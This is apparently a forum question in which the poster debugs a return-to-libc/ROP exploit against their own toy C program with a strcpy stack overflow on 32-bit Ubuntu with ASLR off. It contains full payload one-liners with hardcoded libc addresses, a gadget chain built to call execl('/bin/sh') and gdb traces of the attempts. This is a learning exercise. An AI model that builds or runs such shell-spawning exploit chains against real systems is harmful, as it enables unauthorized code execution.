ROP execute a shell with execl() – /bin/sh: 0: Can’t open
A vulnerable C program to stack buffer overflow, requires 112 byte stuffing to get to return address of the calling function. Here the Strcpy() is the vulnerable function.
void f(char *name){
char buf[100];
strcpy(buf, name);
}
void main(int argc, char *argv[]){
f(argv[1]);
}
Trying to write the rop gadgets to execute a /bin/sh shell by means of execl(). The exploit would be:
python -c 'print 112*"\x90" + "addr. execl()" + "addr. exit()" + "addr. /bin/sh" + "addr. /bin/sh"'
From gdb these are the found addresses (ASLR disabled for test):
(gdb) print execl
$1 = 0xb7eb7b60 <__GI_execl>
(gdb) print exit
$2 = 0xb7e359e0 <__GI_exit>
(gdb) info proc map
...(output omitted)
(gdb) find 0xb7e07000,0xb7fbb000,"/bin/sh"
0xb7f62b0b
1 pattern found.
(gdb) x/s 0xb7f62b0b
0xb7f62b0b: "/bin/sh"
(gdb) run $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
Starting program: /home/marco/asm/execve/bypass_aslr/rop/prove/main $(python -c 'print 112*"\x90" + "\x60\x7b\xeb\xb7" + "\xe0\x59\xe3\xb7" + "\x0b\x2b\xf6\xb7" + "\x0b\x2b\xf6\xb7"')
process 3161 is executing new program: /bin/dash
/bin/sh: 0: Can't open UWVS��������
[Inferior 1 (process 3161) exited with code 0177]
The same test using system() gives the shell.
I don't understand if the execl() is successful and if it's replacing the currently running process image.
Platform: Ubuntu 16.04 - 32 bit.
UPDATE: I added some gadgets to the exploit, and got back another result. In brief i added gets() to write the NULL byte as the third argument to pass to execl(). The exploit will write the stack in this order:
addr. exit()
fake byte (NULL will be written here)
addr. /bin/sh
addr. /bin/sh
addr. pop\pop\pop\ret
addr. execl()
addr. where to write NULL byte
addr. pop\ret
addr. gets() <-- ESP will be here when is time to return to caller
112 NOP
from gdb i run the exploit, i type "new line" so gets() writes NULL to the provided address, and the result is:
[Inferior 1 (process 2793) exited normally]
This time no errors, but again no shell.
EDIT2: this is the stack after gets() is executed and before execl().
The commands under gdb i used to take the stack layer:
(gdb) b 10 --> this is to stop after strcpy() in the .c code
Breakpoint 1 at 0x8048497: file main.c, line 10.
(gdb) run $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')
Starting program: /home/marco/rop/main $(python -c 'print 112*"\x90" + "\xe0\x83\xe6\xb7" + "\x6e\xd0\xe2\xb7" + "\xf8\xf5\xff\xbf" + "\x80\x9a\xeb\xb7" + "\x4f\x33\xef\xb7" + "\x0b\x4a\xf6\xb7" + "\x0b\x4a\xf6\xb7" + "\x42\x42\x42\x42" + "\xd0\x79\xe3\xb7"')
Breakpoint 1, func (name=0xb7e2d06e <__ctype_get_mb_cur_max+30> "X\303U\350\343\272\017") at main.c:10
(gdb) b *execl
Breakpoint 2 at 0xb7eb9a80: file execl.c, line 31.
(gdb) c
Continuing.
Breakpoint 2, __GI_execl (path=0xb7f64a0b "/bin/sh", arg=0xb7f64a0b "/bin/sh") at execl.c:31
31 execl.c: File o directory non esistente.
(gdb) x/x $esp
0xbffff5ec: 0xb7ef334f
(gdb) x/x $esp+4
0xbffff5f0: 0xb7f64a0b
(gdb) x/x $esp+8
0xbffff5f4: 0xb7f64a0b
(gdb) x/4x $esp+12
0xbffff5f8: 0x00 0x42 0x42 0x42
(gdb) x/s $esp+12
0xbffff5f8: ""
Please note, this test was executed from another Ubuntu 16.04, and the addresses are now:
"\xe0\x83\xe6\xb7" + -> gets()
"\x6e\xd0\xe2\xb7" + -> pop/ret
"\xf8\xf5\xff\xbf" + -> address where to write NULL
"\x80\x9a\xeb\xb7" + -> execl()
"\x4f\x33\xef\xb7" + -> pop/pop/pop/ret
"\x0b\x4a\xf6\xb7" + -> addr. /bin/sh
"\x0b\x4a\xf6\xb7" + -> addr. /bin/sh
"\x42\x42\x42\x42" + -> fake address to be overwritten
"\xd0\x79\xe3\xb7" -> exit()